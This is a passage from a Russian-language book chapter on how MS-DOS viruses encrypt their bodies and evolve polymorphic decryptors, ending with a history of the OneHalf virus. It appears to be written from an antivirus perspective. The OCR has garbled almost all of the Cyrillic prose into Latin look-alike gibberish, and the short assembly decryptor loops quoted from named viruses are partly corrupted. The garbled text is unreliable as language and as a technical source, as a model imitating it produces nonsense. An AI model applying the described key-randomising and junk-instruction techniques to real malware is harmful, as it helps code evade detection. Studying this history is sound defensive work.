MepBas komaHpa 3epkanbHas KOMaHpa
XOR onepaHng, ko4 XOR onepaHna, ko4
NEG onepaHg NEG onepaHg
NOT onepaHnp, NOT onepaHnp,
ROL onepaHg, knto4 ROR onepaHa, koY
ADD onepaHa, kniou SUB onepaHnp, knoy
ADD onepaHg, ko4 ADD onepaHg, (Kto4)

B pasnene, mocBANEHHOM 3aTPy30YHBIM BUPYCaM, MBI YK€ OTMedaTn
«tpesiecTby ornepaiun «XOR». He ciryuaiitno ona ucrosib3yercst BAPyco-
mcaTesIsIMI HanboJree 4acTo.

B kauecrtBe Kjroua 1mudpoBaHUs 0ObIYHO BHIOMPAIOT Kakoe-HUOYb
3HauEHUE C PAaBHOMEPHO PACIPE/ICIEHHBIMI HYJIEBBIMUA U eIUHUIHBIMU
6uramu, Harpumep 0ASAS5h. JTOBOJIBHO HECTIOKHO OPTAHU30BATH TAKIKE
KJTI0Y, UBMEHSTIONUICST OT UTEPAINH K UTEPAIIUHU 0 OTIPeIeIEHHOMY aJi-
roputmy. Bot nipumep koma Bupyca Gi.2763, nmiudpyoniero cBoe Teso mo
MMOCTOSTHHOMY aJITOPUTMY (371eCh NCTIOJIb3YETCSI MHKPEeMEHT KJtoua ot 0 710
MaKCUMaJIbHOTO 3HAUCHNUS ):

Bupyc GI.2765

mov cx, 0AB6 Pasmep 3auwvdpoBaHHOU 06nacTu

mov bx, 0105 ;. Anpec Havana sawndpoBaHHo 06nacTu

Xor al,al ; HadanbHoe 3HayeHve knwoya wudpaumu
LOOPC:

X0r [bx],al ;. Onepaums wmpposaHus

inc bx . Nepexopn Kk cnepyouwemy 6anTy

inc al ;. i3mereHne knwoya

loop  LOOPC
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HesnaunrebHoe yCIOKHEHUE TAKOTO TOAXOJAa MOXKHO OOHAPYKHUTDH
B BUPYyCaX, MCHOJB3YIOMUX TOCTOSHHBIN aJropuT™M MudpOoBaHUsS-pac-
mpoBaHKsl, HO MEPEMEHHBIN KJI0Y. DTOT KJIOY MOKET ObITh CBSI3aH
C IEPBOHAYAJIbHON JIJIMHOI TIPOTPAMMbI (TAKOI TIPHeM UCTI0JIb30BaH B BU-
pycax cemeiictBa Cascade), ¢ gaToil cosmanus daiiia IporpaMmbl, ¢ KOHT-
POJIBHON CYMMO# KaKOro-HUOY/Ib yYacTKa MaMsITH (3TO XapaKTePHO JJIst
supyca VIndicator.734, on sxe RedCross.734), a MokeT U BbIOUPATHCS
abCOJIIOTHO CIIyYaiiHO.

JUJist TOJIyIeHMsT CIyJallHBIX YUCe B BUPYCaX OOBIYHO UCIIOJIB3YIOTCSI
METO/IbI, OCHOBaHHbBIE HA OOPAIEHUSIX K CHCTEMHOMY TallMepy HJIU K 4Ya-
caM peasbHOTO BpeMenu. Tekyinee BpeMst (¢ paspernaorieil crocobHo-
CTBIO /IO COTBIX J10JIell CEKYH/IbI) MOKHO ITOJIYYUTD ITPU TIOMOIIU CEPBHUC-
noit pyuxuun MS-DOS (upepsiBanue 21h, xox 2Ch) wiu npu nomomu
cepsuctoil pyuximn ROM-BIOS (upepoiBatne 1Ah, kox 02). loBosibHO
PE/IKO BCTpedaeTcst mpsiMoe obpalieHne K 3HaUYeHUIO TEKYIEro BPeMeHH,
coxpanernHomy B sueiikax 0, 2 u 4 CMOS-namsaTn (IoCTyI 4yepe3 mopThl
70h u 71h).

HaubGonee momyaspHoil cpeay BHPYCOIMCATEIEN CYMTAETCs IPyIIIa
METO/IOB, CBSI3AHHBIX CO CUMTBIBAHMEM TEKYIIETO 3HAYCHUS CUETUUKA CU-
creMHOTO Taitmepa. 1o ymosuanuio (ecav He OBLIM AKTUBUPOBAHBI CIie-
[UAJIbHbBIE PEKUMBI 0CTyIA) Oy(depHbIe PErHCTPhI TaiiMepa, J0CTYITHbIE
uepes nopter 40h, 41h u 42h, comepxar dhparMenTs! TEKyILEro 3HAYEHUS
CUYETYUKOB TaliMepa, TIOCTOSIHHO M3MeHsiolierocs ¢ yacroroir 1.19 MIr.
Hamnpuwmep, yepes mopt 40h MOKHO «B3IJITHYTh» HA CUETUYUK, IPUHALTIE-
JKAIUH HYyJIEBOMY KaHaTy cucTeMHOro taiiMepa. [loatomy Hanune BHyT-
pu Bupyca komanabl Bua <IN AL,40h» 06pr4no ozmagaer, 4T0 BUPYCOIH-
caresib IBITAETCS MOJYYUTD CAydaiinoe yuco B auarasoune ot 0 go 255.
CiiesryeT OTMETUTD, YTO TIPAKTUYECKU BCET/IA B BUPYCaX 9TOT MEXaHU3M
UCIIOJIb3YETCS] HEKOPPEKTHO. [[eJ10 B TOM, UTO KasK/10€ HeueTHoe oOparie-
nue x nopty 40h BosBpamaeT ObICTPO M3MEHAIONIEECS B IMUPOKKX IIPEE-
JIaxX 3HAYEeHUe MJIAJIIero GaiiTa CYeTINKa, a Kaskl0e YeTHOEe BO3BPAIaeT
JIOBOJIBHO «IIOCTOSTHHOE» 3HaueHue crapiiero Gaiita. B pesysbrare aToro
[OCJIE/I0BATEIBHOCTD YUCE, OJTydaeMas MocJe HECKOIbKUX o0paieHuil
k nopty 40h, sBasierca He cauukom croxactuunoil. Ho s nosydenust
OJTHOTO-eIMHCTBEHHOTO CJIyYallHOTO YMCJIa METO/L BIIOJIHE TTPUEMJIEM.

Wmed takoe 4mcyio, MOKHO UCIIOJIB30BATD €T0 B KauecTBe KJova mud-
pOBaHus, Kak, HalpuMmep, aTo ciaesano B Bupyce Fdate111.537:

Bupyc FDATE111.537

mov bx, 0015
db 2Eh . 91O KOA. ..
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db 80h ;... KOMaHgbl. . .

db 37h ; XOR CS:[BX],KEY
KEY db ?7? ; banT cny4anHoro knioda wudposaHus
inc bx
cmp bx, 0219
j1 0000271A

Kasamoch 6bl, [UIs1 IeTEKTUPOBAHUS TIOJOOHBIX BUPYCOB B KAYECTBE
CHUTHATYPBI MOKHO HCIIOJIB30BaTh 6ali Th paciidpoBIKKa, TeM HoJiee 4To
OHM ITIOCTOSIHHBI JIJI51 BCeX 9K3eMILIsIpoB Bupyca. Ho B TakoM ciyvae riepej
AHTUBMPYCOM BOZHUKAIOT HEPa3peIuMbie TPOOIEMBbL.

ITepBast cBsi3aHa ¢ TeM, YTO OAMHAKOBBIE GAWTHI paciindpoBIIMKA
MOTYT MMeTb, HallpUMep, pasHble BUPYCHI, IIPUHAJJIEKAIIME K OJHOMY
ceMeiicTBy. B aTOM citydyae pasmuuus, crocobHble CUILHO MOBIHUSTH Ha
AITOPUTM  «JIeYEHUSI», OKAXKYTCsS COKPBLITHI BHYTPHU 3alipoBaHHOIO
tesa Bupyca. Ho gaske ecau 910 He Tak, Bce PaBHO GOJIBITHHCTBO BUPY-
COB HEBO3MOKHO KOPPEKTHO yAaJIUTh 6e3 pacuindpoBKy ero TeJa, mo-
CKOJIbBKY BUPYCOJIOTY TpeGyeTcst 3HaHWE 3HAYEHUIl CTapTOBBIX OAWTOB
COM-nporpamMmmbl UM U3MEHEHHBIX BUpPYycoM moJiell 3arosoBka EXE-
IIPOrPAMMBIL.

TaxkvM 06pa3oM, aHTHBUPYC JOTEKEH COAEPKATH IS IETEKTUPOBAHIIST
3amnhpPOBAHHBIX BUPYCOB JIBe HallTOBbIE CUTHATYPHI:

QO  «IIpeaBapuUTENbHYIO, IT0 KOTOPOH NMPHHUMAETCS pelieHne O pac-

ndpoBKe Testa BUPyca U BBIIOJIHSAETCS TaKast pacuindpoBKa;

QO «OCHOBHYIO», PACTIOJIOKEHHYIO B paHee 3anndpoBaHHON YaCTH BH-

pyca 1 UMEIOIIYI0 TPAIUIIMOHHOE 3HaYeHHE.

[TpumepHO Tak ¥ GBIIM YCTPOEHBI BCE aHTUBUPYCHI JI0 TEX TOP, TIOKA
BUPYCOTIUCATEIH HE OTAIATNCh KaxK/IbIi pa3 cIyIaitHbiM 06pa3soM BUJIO-
N3MeHATH B pacindpoBbIBaloNieM (hparMenTe He TOJIbKO KoY, HO U caMy
KOMaH/Ibl, COCTaBJIAIONME dTOT (hparMeHT.

Ounu paccyxzanu npumepHo Tak. IlycTb «ckesers pacumdposiimka
COCTOUT M3 HECKOJbKMX KOMaH/I, HallpuMep TaKux:

mov MH,D,eKCHbHZ_peI’VICTp, anpeC_Hawana_tDparMeHTa
mov perucTtpl, KoY_wndpaumm
MoV PerucTp?, CYeTYMK_uMKna
MeTka:
onepauust [MHAEKCHbIA perucTpl, Kiod_wndpaumm

dec cyeTynk umkna
jnz Metka

CirydaliHbIi XapakTep MOKHO MPUAATh HE TOJBKO KJIOUy IngpoBa-
HUH, HO U UCHOJb3YEMBbIM B paciiu@poBIIMKe PETUCTPaM, a TaKxKe olle-
paryu, BBITIOJMHIAEMOT Hajl 6aiiTaMi BUPYCHOTO TeJia. JTO JIETKO C/IeJIaTh,
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€CJI 3HATD TIPUHITUAITBI OPTaHU3AITMH KOJIOB CHCTEMHBIX KOMaH/I JIJIsT ITPO-
eccopoB 80x86/Pentium.

Hamnpuwmep, komanna suga «MOV peructp, 4ncio» nuMeeT CJeayonLyio
BHYTPEHHIOIO CTPYKTYPY:

1011 X RRR <Muammnuii 6aiit uncaa> <Crapimii 6aiiT uncia>,

rae X=0 gna 8-6utoBbiX peructpoB u 1 musa 16-0MTOBBIX PErMCTPOB;
RRR — koauposka peructpa (CM. B IocjegHeit riuase tadi. 7.5).

Takum o6paszom, komanza « MOV CX, 1234h» mosxeT ObITH CKOHCTPYH-
posana 13 caeyromux 6utos: 1011+1+001+<6urhl yncia™>, 4TO COOTBET-
CTBYET B LIIeCTHA/IIaTepUaHOil 3anucu Tpem Oaiitam — «0B9h 34h 12h».

OueHb MOX0KYI0 CTPYKTYPY UMEIOT KOMAH/IbI TIEPECHIITKU U3 PErUCTpa
B peructp Buga «MOV peructpl, peructp2»:

1000101 X 11 RRR RRR,

nanpumep «MOV BP, SP» packiajibiBaeTcst Ha OT€IbHBIE OUTOBBIE MOJIST
kak 1000101+1+11+101+100, uto coorBercTByeT Oaiitam: «8Bh ECh».
HmeroT cBOIO BHYTPEHHIOIO CTPYKTYPY U BCE IPYTHe MAITMHHbIE KOMaH-
b1, C TOAPOGHOCTAME X CTPOEHISI MOJKHO O3HAKOMUTBCS TIPAKTHYECKU
B JIF0OOI KHUTE, TOCBSATIEHHO IIPOrPaMMUPOBAHNIO Ha sI3bIKe AcceMbJie-
pa. 3Hast 3TH MOAPOOHOCTH, MOXKHO B 3aBUCHMOCTH OT [OJTy4aeMbIX 3HAUE-
HUH CJTyYaliHBIX BEJIMYWH TleJIeHaTpaBIeHHo (hOPMUPOBATh U3 «CKeJTeTa
KOHKDPETHBbIE BapuaHThbl pactimdposinuka. Harpumep, «<iHAEKCHBIN pe-
ructp» Bbidupaercs us peructpos BX, ST win DI. 3aduxcuposas Kakoii-
HUOY/Ib PETUCTP B KaUeCTBE WHAEKCHOTO, MOKHO HCIIOJIB30BATh JIJIST «Pe-
ructpal» u «perucrpa» Jo6ble APYrue perucTpbl, He UCHOIb30BAHHBIE
patee. ITukr MosKeT ObITh OPTAHU30BAH HE TOJBKO MPH MOMOIIIN KOMaH/IbI
«LOOP», HO ¥ TIPY TOMOTIM PA3TMYHBIX KOMAH/[ YCJAOBHBIX U GE3yCJI0B-
HBIX 11epexojioB. 1 tak gasee.
B pesyspraTe MOTYT TIOJIyYUTBCS PA3IMUHBIE BAPUAHTHI paciindpos-
NIMKOB, IPUMEPHO Takue, Kak B Bupyce Seat.2389.
; BapuanT 1
mov di, 0073h
mov ax, 0941
mov  CX,ax
add c¢s:[di+9Eh], 0A4h
inc di
loop 8

; BapuaHT 2
mov  si,0073h
mov  bx, 0941
mov  CXx, bx
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sub c¢s:[si+t9Eh], OE1h
inc si
loop 8

JleTko BUIETH, YTO 3TH PACIINMPOBITIKN He COBCEM PA3IMIHBI. Tak kak
«CKeJIeT» Yy HUX OJIUH U TOT K€, OHU COZIePKaT Ha KOHKPETHBIX MO3HIIN-
SIX HEM3MEHHBIMU OT/IEIbHbIE GAalThI U (pparMeHTbl 3TUX 6AUTOB (TPYIIIIbI
GUTOB), UTO TIO-TIPEKHEMY MOKET OBITH MCIIOJB30BAHO JIJISI BBIAETCHUS 1
MCTIOTb30BAHMS CUTHATYPBL. [TOCKOJIBKY CIIydaiitbie U HecTyJaiinbie Gaii-
TBI IEPEMEKAIOTCS, TO CUTHATYPa OyeT pephiBUCTOM. Takue CUurHaTypbl
Ha3BIBAIOTCS «<MACKAMUS .

ITpeAnosIoKIUM, U3BECTHO, YTO ONPeAeIeH bl OailT A BHYTpH BUpyca
nmeet B «1011XRRR», rae «X» 1 «R» COOTBETCTBYIOT CrydaiiHbiM Ou-
taM. Tor/ia IOTHIHO NCIOIB30BATS /IS IETeKTHPOBAHNS <KOHTPOJIBHBIN»
GaiiT B co snauenuem BOh = 10110000b u «macky» C co snauenuem FOh =
= 11110000h, a cpaBHeHME IPOUBBOANUTH IIPUMEPHO TaK:

if ((A&C)==B) ...

ITogo6HbIe BUPYCHI BPsJ] JIM MOKHO Ha3BaTh [OJHOCTBIO HOJIUMOPd-
HbIMU. J[J1s1 HUX ObLIT TIPUIYMaH CIEIUAIbHbII TEPMUH — <0IUZOMOPE-
Hole» BUPYCHI (OT rped. 0ligos — HeIoCTaToK).

Jlo «HACTOSIIIMX> MOJMMOP(GUKOB OCTABAJICS BCETO OJUH HEOOJBIION
war... 11 oH, pasymeercs, ObLI clefaH. 3ak/I04aics OH B IPUMEHEHUU
PsIIa IPOCTHIX «TPIOKOBY.

Bo-mepBoIx, TOPSIIOK MCIIOTHEHNST HEKOTOPBIX KOMaH [ (TTPEsK/e BCETO
KOMaH/[ 3aTPy3KU PETUCTPOB YNCJIOBBIMU 3HAYEHUSIMH ) aOCOTIOTHO HE Ba-
JKEH, TI09TOMY UX MOKHO MEHSITh MECTaMU.

Bo-BTOpBIX, KOMaHbl PAIIU(POBIIMKA MOKHO C/BUTATH 1O TTAMSITH
BIlepe/i-Has3ajl, pa3baBiisist «MycOpoM». B KadecTBe «Mycopa» 4acTo HC-
HOJIB3YIOTCS MIPOrpaMMHbBIe (hparMeHThl, He BJIHMAIONNe Ha paboTy pac-
1 POBIUKA:

Q ognobaiitossie koMauabl «NOP»;

O  omHOGANTOBBIC KOMAH/IbI, MAHUIIYIUPYIOIIE ¢ OUTAMU PETHCTPa

daaros mporieccopa «CLI», «STD» u mpounmuy;

O  oxHOGANTOBBIE KOMAH/IbI, MAHUITYJIUPYIOLIME C HEUCIIONb3YEeMbIMU

B pactmudposiuke peructpamu — «DEC DXs», «INC BP» u ipo-
YUMU;

ojHOGaiTOBLIE NpedUKCehl NepeHasHaueHus cerMeHToB <«CS:»,
«DS:» u mpounx;

MHOTO0ANTOBBIE 1 MHOTOKOMAH/IHbIe KOMOMHALM, He BBIIIOJIHSIIO-
e HUKAaKUX <ITOJIe3HbIX» aAelicTtBuii, — mapel «PUSH/POP»,
<«myctbimkuy Tna « MOV BX,BX» nimm «ADD AX,0» u mpoune;
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Q  «iIo)KHBIE» 1 «BGECCMBICIEHHBIE» YCJIOBHBIE U HE3YCIOBHBIE TIepe-

xobl Tuma <] MP $+3» u npoune.

B-tperbux, komanpr pacimudpoBnmka (B TOM Ynciie U «MyCOPHBIE» )
MOJKHO TIPOU3BOJILHBIM 00Pa30M MEHATH MECTaMH, BOCCTaHABJIMBAs TIpa-
BWJIBHBIN TTOPSIZIOK MCTIOJHEHUS MPYU MOMOIIKA KOMaH/l YCJIOBHOTO WJIN
6e3yCIOBHOTO TIEPEXOJIa.

B-ueTBepTbhIxX, KOMaH/IBI PACIIUMPOBIIIKA MOKHO 3aMEHATh X (QYHK-
IMOHATBHBIMY 9KBUBaseHTamMu. Harpumep, komanga «MOV AX,0» Tou-
HO Tak ke oOHysteT peructp AX, kak komanza «SUB AX,AX» wiu napa
komany «PUSH 0/POP AX>».

B-nigreix... A B-mectoix... Kpome Toro, B-ceibmbix... Kopode roBops,
BapHAHTOB CHJIBHO YCJIOKHUTH U 3aIyTaTh YCTPOWCTBO PacIIN(dPOBIIN-
Ka — rpeBesinkoe MHOXKecTBO. [Tomumopdubie pacnmdpoBIUKY, TOJTY-
Yaroruecs: B pe3yJabraTe TAKOTO POJia «TBOPUYECTBA», HEPEIKO 3aHIMAIOT
MecSTKY KUmobaiiToB mporpaMmuoro Koja! TeHepupyroTest OHM aBTOMa-
TUYECKH, CTyYallHBIM 00pa3oM, U OOHAPYKUTH BHYTPU HUX OallThI Ha 110-
CTOSTHHBIX MO3UIIHSAX C TOCTOSTHHBIMI 3HAUEHUSIMU HEBO3MOKHO: UX TaM
npocto HeT. Bosiee Toro, MpuMeHeH e TTOI0OHBIX METOIOB MOPOKIAET Ah-
ekt «0b6¢ycrayuu», To eCTb «3aIyTHIBAHUST» IPOTPAMMBI, TIPUBEIEHIIST
ee K CITOKHOMY JIJII TOHVUMAHUS BULY.

BuyTpu Takme BUpYyCH (BepHee, WMCIIOJb30BaHHbIE B HUX AJTOPUT-
MBI «MyTaI[UH» ), KaK [PABUJIO, JOBOJBHO JUIMHHBI U OJHOOOPA3HbL: CO-
cTosT U3 OOJIBIIOTO KosmuecTBa npoaykimii Buga «ECJIN yeaosue, TO
IeliCTBUE», T/Ie <«YCJOBHE» 3aBUCHUT OT 3HAUYEHUS CJY4YAifHOTO UYMCIA,
a «JIeiicTBUe» 3aKyIodaeTcss B GOPMUPOBAHUK TOTO UJIM UHOTO BapUAHTA
KaKoH-HUOY /b KOMaH bl paciindposiuka. Ha s3bKax BHICOKOTO YPOB-
HS TOZI0OHBIE aJITOPUTMBI OOBIYHO PEATUIYIOTCS B BUJIE YITPABJISIONTIX
crpykryp tuna «CASE» (B ITackane) uau «switch» (8 Cn), a Ha s13bIKe
Accembiiepa 970 BBITJIAANT 100 Kak GOJbIIOE KOJIMYECTBO KOMOMHALIMI
Buza «CMP/JE», 1160 kak KOMaH/a KOCBEHHOTO [IepeX0/ia, CChLIAMIAs-
s Ha JJINHHYIO0 TabJIHILY alpecoB:

in al, 40h

mov bx, ax

shl bx, 1

jmp Table[bx]
Table:

dw offset Addres?

dw offset Addres?2

Bor ofun u3 HanboJiee MPOCTHIX M «KOMIAKTHBIX> MTPUMEPOB — Tapa
Cly4allHBIX pacim(pOBIIUKOB, CreHePUPOBAaHHBIX BUpycoM Bander-
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snatch (U3BeCTHBIM TaKKe MO/l HETIOHSITHBIM U 3a0aBHBIM PO3BHIIEM
«3JionacTHbI bpananmsirs ).

; BapuanT 1

Std

Inc cX

Mov dh, 1Ch ; Knioy wndposanua

Mov CX, sl

Mov si, 2838h ; Anpec

Mov CX, CX

Mov bx, 0F36h ;. CHeTymk umkna
Std

Sub cs:[si],dh ; lnupposaHue
Mov ch, [di]

Inc si ; Cneayloumin 6anT
Mov cl, [bx]

Cs: Nop

Dec bx ; [lekpeMeHT cyeTyumKka
Std

Jne 0000271E o Umkn

;. BapuaHT 2

cli

mov cx, 0F36h ; CyeTunk umkna
push  dx

mov bx, 14B0Oh ; Aopec

Cs: nop

mov ax, cx

mov dh, OF2h ; Knioy wndposanug
std

pop ax

add cs:[bx],dh ; lupposaHus

cld

€s: nop

inc bx ;. Cnepyoumit 6ant
sti

dec CcX ; [lekpemMeHT cyeTyumka
push  bp

mov ah, [di]

jne 00001396 o Lvkn

Ucrnionpaytorest u apyrue ujen «camomudpoBanusi». Hanpumep, cy-
IECTBYIOT BUPYCHI, [TPEACTABJISIONIE COOOH MHOKECTBO MEPECTABISIEMBIX
B pas/IMYHbIX KoMOMHanustx koMaua «MOV» niu «PUSH», hopMupyio-
X B UTOTE Te-TO B OIIEPATUBHOI AMSITH «pealibHbIi» 06pas BUpyca.

WuTepecHblil MOJXO/ K Ujiee «caMOudPOBAHUST» UCTIOJIB3YIOT TaK Ha-
3bIBAEMBIE <MeONeHHbIe NOJUMOPPUKU». ITO CaMOMOAUDUIIIPYIOIHECs
BUPYChI, MyTUPYIOIINE HE TPU KAKIOM 3aITyCKe, HO JIUIIb TIPU COUYETAHUN
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psi/ia JIOBOJILHO PEIKUX 0OCTOATENbCTB (ONPeIeJeHHOl AaThl, KOHTPOJIb-
HOU CyMMBbI Kakux-HUOY/b 06JacTeil maMATH, HATUYUU WU OTCYTCTBUN
Kakux-HuGyb GailioB Ha BUHUYECTEpe U T. 1.). B ocTtanbHoe Bpems BU-
pyC He UMeET JIOCTYIa K COOCTBEHHOMY MEXaHU3MY MYTaIMU, TIOCKOJIbKY
3TOT MeXaHM3M 3anM(POBAH [TPU TOMOIIN YHUKAJIBbHOTO KJII04Ya, COOTBET-
CTBYIOIIETO 3TUM CaMbIM 0OCTOSITEJILCTBAM. TOYHO TaK K€ U BHPYCOJIOT
He MMeeT HUKAKOTo JIOCTyTa K 3TOMY MEXaHM3MY W, CJIe/0BaTeJbHO, He
MOJKET U3YUUTh BO3MOKHOE HallpaBJIeHUe MyTaluii. EMy ocTtaercs ToJib-
KO TepIeJMBO MOJICJUPOBATHh HA CBOEM KOMIIbIOTEpPE Pa3/InyHbIe CUTYa-
UK B HAJIEK]IE, YTO KOTIA-HUOY/Ib <KJII0Y TOA0leT>. BripoueM, TOUHO
TaK ke HeT HUKAKOW rapaHTUM, YTO BUPYC, KUBYIIUHN B «IUKOU TPUPOJIE>,
XOTst ObI OHAKBI MyTHPYeET. [IpUMepOM TAKOTO BUPYCa MOKET CJIYKUTD
Pkunk.1586.

«Pacugets cnoxxnonosmmopdubix Bupycos st MS-DOS nputiesncs
Ha cepeauny 90-x rogoB XX Beka. /[oBOJIBHO CJIOKHBIE TOTUMOPPUKI
co3maBajauch 1 uyyTh panee, B 1991-1992 rogax, HO 1Oro/Ib! HE eI,

IToxanyii, IIepBBIMU IIPEABECTHUKAME IPALYILIEN «Oypr» CTaIU BUPY-
cbl cemeiictB Satanbug u Natas, HanmcanHble aMePUKAHCKIM HIKOJIbHIM-
koM J[xkeiimcom [IxxenTtuie u B 1994 r. npokarusmmecs o Bcemy HoBomy
csery — u3 CIIIA uepes MeKcuKy B JaTHHOAMEPUKAHCKIE CTPAHBL U 00-
patHo. Bupychel cozsep:xanu nosmmopdHbie paciindpoBIIUKA TIEpeMeH-
HOU IJIMHBI 1 MHOKECTBO aHTUOTJIAJIOYHBIX TPIOKOB, 3aTPYAHIONINX HC-
cJIe/IoBaHKE MX KOJA.

IIpuMepHO B 9TO Ke BPeMs IOABUINCH 00Pas3ibl KOMIIbIOTEPHOI «3a-
pasbl» U3 AHIVINM, CKOHCTPYUPOBAHHBIE HA OCHOBE BBICOKOCJIOKHOM T10-
sumopduoii texuonorun SMEG (peub 0 Takoro pojia «T€XHOJOTHUSIX»>
nozeT naspiie). PacpocTpanenus MMUPOKOro OHU He TTOJTYYHJIH, HO BCe
PaBHO BBI3BAJIH YTO-TO BPOJIe HEOOIIBIION TTAHUKHU B CPEICTBAX MACCOBOU
undopmaruu. /[JmHa u «3amyTaHHOCTb MOJTMMOP(HBIX pacin@poBin-
KOB TOT'/Ia TOPa3una laske BUPYCOJIOTOB.

A crycrst enie nosirozia rpsinyJia MupoBast anugemust Bupyca OneHalf.
3544. ITomumopdublii pacu@pOBLUIKK 9TOr0 BUPYCa IIPEACTABIILI COOO0M
He OJIMH T[eJIbIH (hparMeHT, HO ObLI PACIIPEIETIEH «KYyCOYKAMU» 10 BCEMY
TeJly 3apaskeHHoro (aiiyia, IpuYeM «KycOodKi» ObLIM CBA3AHBI [0 YIIPaB-
JIEHWIO TIPU TIOMOIIU KOMaH/I YCJIOBHOTO U Ge3yCI0BHOTO MepPexojia.

Metox mMomudunmMpoBaHus Koja IMPOrpaMM, IPeLyCcMaTpUBAIONIII
MEePeCTaHOBKY C MECTa HAa MECTO KaK OT/AEJbHBIX KOMaH[l, TaK ¥ IIeJIbIX
GJIOKOB, IOJIYYUJI HA3BAHUE <nepmymaruu» (OT aHTIL. permutation — nepe-
CTAaHOBKA). A METO/I, 3aKJIIOYAIONIUIICI B ITepEMEIUBAHNN KO/la BUPYyCa
C KOJIOM TIPOrPaMMBbl, — «criaiicunz» (0T anri. to splice — cruterars).
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... Mporpamma...

2-01 chparmMeHT
paclungpoBLymKa

... Mporpamma...

CrapT | 1-biit hparmMeHT
=P pacwmcpposLmka

... Mporpamma...

N-blin (bparmeHT
paclumngpoBLmKa

... [porpamma...

3awmncpoBaHHbIi
BUpYC

Puc. 3.7 « CTpyKkTypa nporpamMmmbl,
3apaxeHHol Bupycom OneHalf.3544

Bupyc OneHalf.3544, nanucannbiii B ofHoil u3 cTpan BocrtouHoii
EBporibl, moucTrHe CYUTAETCS <KOPOJEM» BCEX MOJUMOPGUKOB IS
MS-DOS, xoTs HITYero 0co6eHHO HOBOTO B IPAKTHKY HAIIUCAHUST BUPY-
COB OH He NPUBHEC, a B JaJIbHelieM ObLI MHOTOKPATHO TIPEB30MIEH 110
CJIOKHOCTU CBOMMU 0oJjiee «MOJIOABIMU» cOOpaTbsiMu. Ero «pejuuunes
3aKJII0YAETCS HE B TOM, YTO OH COJIEPIKAJ IOBOJIBHO OPUTHMHAIBHYIO UH-
TEPIPETAIHNIO WU TTOJUMOPGU3Ma, U JIaKe He B TOM, UTO B XOJI€ CBOETO
«TpUyMMATBHOTO» PACIIPOCTPAHEHHS 110 MUPY OH YMYAPHIICS TI0OBIBATH
YyTh JIM HEe HAa KKIOH MallliHe, HO B TOM, YTO OH IPOU3BEJ KAKYIO-TO TJIy-
OUHHYIO OABHMIKKY B yMaxX KaK BUPYCOJIOTOB, TaK ¥ BUPYCOIIHCaTe e,

IMosiBierne sTuxX (M UM MOJOGHBIX) BUPYCOB O3HAMEHOBaJIO cOOOM Ha-
cTyILIeHHe a110XK GOJIbIINX nepeMeH. B camom nee, k 1993—1994 rogam
rpadpuyeckas obosrouka Windows 3.X, HeCMOTPSI Ha CBOIO MOITYJISSPHOCTb,
TaK U He cTaja 6a30B0ii aTdOPMOil I OJIb30BATEIbCKOIO IIPOrPAMM-
HOro obecrieueHrsl — KOHCEPBATHUBHOE «OOJIBIIUHCTBO» HE TOPOIUIOCH
OoKoHuaTesbHO pacctaBaTbess ¢ MS-DOS. IIpakTudeckn Bce, 1axke caMmbie
riyOuHHbBIE 0cO0eHHOCTH apxuTeKTypbl MS-DOS 6bLIM XOPOLIO U3yye-
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HbI U He SIBJISIACH OOJIbIlEe TAHON HU JIJIst BUPYCONUcATe e, HU JJIsT UX
OIIIOHEHTOB.

B ciiokuBIneiicss K TOMy MOMEHTY CUTYAllUU BHPYCOJIOTOB TPEBOKU-
JIO JIUIITD JIABUHOOOPA3HOEe HApACTAHUE KOJIMIECTBA JOBOJBHO MPOCTHIX U
O/IHOOOPA3HBIX BUPYCOB, B CBSI3U C Y€M MMU HAYaJIl aKTUBHO pas3pada-
TBIBATHCS U BHEJ[PSITHCS CPEJICTBA ABTOMATHYECKOTO OOHAPYKEHUST U y/Ia-
JIEHUSI «CTaHIapTHBIX> BUPycoB (Hanpumep, komiiekT AdInf/AdInfExt
[1. MocroBoro u 1O. Jlagbiruna).

Takoe TI0I0KEHNE JIeJ1 He MOTJIO HE OTPA3UTHCST U HA TEHJIEHIMSIX BU-
pycomnucaresnbera. [To caMonio61io «TeXHOKPHIC» ObLI HaHECEH MOTITHBIN
yaap. GeM ke CTOUT XBACTATHCST TIEPEJL «COPATHUKAMI», ECJIH TBOI BUPYC
He TOJIbKO He TIOJIYYIJI PACIIPOCTPAHEHNUST, HO U MTHOBEHHO «CJIOXKILI TO-
JIOBY» YK€ Ha COCE/THEM KOMITbIOTEPE, TPUUEM XO3STHH 3TOTO KOMITHIOTEPA
JlasKe 9TOro He 3ameTu?!

U Bor Bupyc OneHalf.3544 orkpbiin 1iepe/; BUpycommcaressiMiu HOBbIE
TOPU3OHTHI.

Crajio «<MOZIHBIMY TIACATH CJOKHBIE U TIATENHHO OTJIAsKEHHbIE BUPYCHI,
CrocoOHbIE 3ara/IaTh 3ara/[Ky BUPYCOJIOTY He MPOCTO (haKTOM CBOETO CyIile-
CTBOBAHUsI, HO ¥ 3aJI0KEHHBIME BHYTPH BUPYCA XUTPOYMHBIMU UIESMIL.
B cpemte Bupycormcaresieil mOBbICUIICS TPECTHK YUCIUTHCS HE «TPOEY-
HUKOM», HO KAK MUTHUMYM <«XOPOIIUCTOM». SHAHUST JI0KUHBI CHCTEMHBIX
IPEPBIBAHUI U YMeHHs HaKopsaOaTh pabOTOCHOCOOHYIO acceMOJIEPHYIO
[POTPAMMY CTAaHOBUJIOCH HEOCTATOYHO, YTOOBI CUMTATHCS «HACTOSIIIUM
Mauo». Bupycormcarein Becepbes 3aceli 3a M3y4eHue TEOPETUIECKUX OC-
HOB [TPOrPAMMUPOBAHUST, HAYAJIH IPUMEHSITH TPH M POBKe-paciindpos-
Ke CJIOKHbIE METO/IbI [IOMCKA U COPTUPOBKU JAHHBIX, KOMOMHATOPUKY, TEO-
puio rpacoB, MaTEMATUIECKYIO JIOTUKY U T. 1. Besten 3a Bupycom OneHalf
HPUIILUIA TaKKe CJIOKHOMOJMMOP(HbIE «MOHCTPbI», Kak Nostardamus,
NutCracker, RDA.Fighter, Ukraine, Kaczor, Zhenghi 1 nipoune.

Bce atu BUPYCHI OBLIN YCTPOEHBI 110 «KJIACCHMYECKOI» cXeme: cozep-
KU KaK U3MEHSIIONIUUCS OT KOTIUU K KOMUK PaciiudpOBIIKK, TAK U 3a-
i pPOBAHHOE € PA3JIUYHBIMY «KJIIOYAMU» OCHOBHOE TEJIO BUPYCA.

Opnnako yske Bo BTopoii nososuHe 1990-x ronoB 1mosgBuivich HOBbIE
uneu. Ilpexzae Bcero ciemyeT yrnoMsSHYTb U0 CIYYAWHOU «IepMyTa-
uuy» (1llepeMenImBanus ), TPUMEHEHHON He TOJbKO K paciin@poBIIUKY,
